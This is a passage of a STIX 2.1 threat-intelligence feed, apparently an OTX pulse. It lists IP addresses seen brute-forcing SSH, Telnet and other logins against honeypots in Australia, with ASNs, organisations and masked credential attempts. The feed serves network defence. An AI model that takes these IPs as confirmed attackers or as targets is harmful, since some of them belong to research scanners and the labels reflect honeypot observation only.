      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.243.142.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc..",
      "id": "indicator--218e65b5-927a-48fc-b086-1e4bfff533e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--d2cc555d-a3a1-4c12-a284-d1b4bd25d619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e226713a-1efc-48b1-9330-092ce5785ed6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a5432210-a65c-4cc6-b92d-72d3701e0361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-01T23:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc.. Passwords observed (masked): 1****6.",
      "id": "indicator--30128654-853a-47ab-9c16-ef497b284b7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.239.230.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:16:01.000Z",
      "valid_until": "2026-05-03T23:15:03.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): R*********6.",
      "id": "indicator--ee7992e9-da1a-4e0d-a823-9b5af1275414",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): R***********.",
      "id": "indicator--92085dfb-d9e3-488b-a36d-275161fd7554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e4e196e1-d006-483f-b96f-bee26323fbde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.229.179.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c00c64a8-5236-46d0-a776-030ebe17ad38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.61.120.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--32db9210-6dcf-437e-b77f-0401f4976437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.75.66.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): r**t. Passwords observed (masked): a*****3.",
      "id": "indicator--56271024-fd3d-4537-9853-00067c2fb071",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.60.136.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 754. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): m******e, 1******w, 1******2, P******d, a******d.",
      "id": "indicator--0849d82d-cf76-4999-aeef-1ccc6dfed9eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 59790. Organisation(s): Marco Bungalski GmbH. Usernames observed (masked): r**t. Passwords observed (masked): a****i.",
      "id": "indicator--5f4a4dbf-d6e1-44e8-aaac-a0bd0ef5a0d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.35.235.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8b682139-8801-4f27-8da2-8eb525ef3908",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): r**t. Passwords observed (masked): Q******#, R*****8, r******t.",
      "id": "indicator--c8694f0c-cb50-4a4e-9061-69f6008ed38f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:15:15.000Z",
      "valid_until": "2026-05-04T00:15:09.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****4, A*******7, A***7.",
      "id": "indicator--ef952c58-445d-4537-9f56-9c435ff286d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.142.37.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--7e93c875-7a4a-48bf-9d2e-10748f0cacbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '140.245.59.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t. Passwords observed (masked): 7*****1.",
      "id": "indicator--c2dc5583-4dba-4fdb-b332-810481f0c045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.124.77.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****n, 1**********0, 1******..",
      "id": "indicator--973c29b7-d9d7-4664-a22e-0f3547e4bbd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.22.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 90. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t. Passwords observed (masked): 1**********0, 1*********., H******6, Q******6, Q**********!.",
      "id": "indicator--4d807695-6485-491b-ae33-cd98e8c54e70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 57354. Organisation(s): SYSTEMA Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 1**************R.",
      "id": "indicator--493fe279-f032-4f51-bb49-beabaa5a5a3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.228.135.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****4, 3***********4, 3**********4, A*******7, A***7.",
      "id": "indicator--a2985211-238b-4e24-91bb-8a3541a765f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.116.49.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): !******x.",
      "id": "indicator--3f4b1fc5-8740-480d-bbc7-cd1a9d4c6636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.81.42.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--754f5b71-864d-436f-bfa4-9f604cb8dc2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.142.215.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): t*******4.",
      "id": "indicator--439f5406-d18a-4627-8f26-828da114dfde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.132.227.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T02:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U***************************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:15:21.000Z",
      "valid_until": "2026-05-04T02:15:08.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******x, 1**********r, 1******n, 1******Z, 3***********4.",
      "id": "indicator--14e359bb-a8db-4389-9aa1-0dba2b7fb723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.108.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******x, 1******n, 1******Z, 3***********4, 3**********4.",
      "id": "indicator--72a51087-64fd-47cd-874c-a10d76d3879a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.143.72.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--6bf5d3d0-8dc0-4ab9-9175-e92b8c064089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.104.93.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 272786. Organisation(s): X99 INTERNET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): ***, 1*******3, 3***********4, 3**********4, 5***9.",
      "id": "indicator--2923bdca-3e08-4bac-a221-15753ce81121",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.14.88.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9595. Organisation(s): NTT-ME Corporation.",
      "id": "indicator--26a81f53-5c26-4d40-813f-cdb80a1951a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.213.10.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 214664. Organisation(s): JSC Buduschee.",
      "id": "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--57af062d-57ae-4612-a9af-588bd4f25dcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '74.235.122.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:15:11.000Z",
      "valid_until": "2026-05-04T03:15:09.000Z"
    },
    {
      "created": "2026-04-02T03:15:11.000Z",
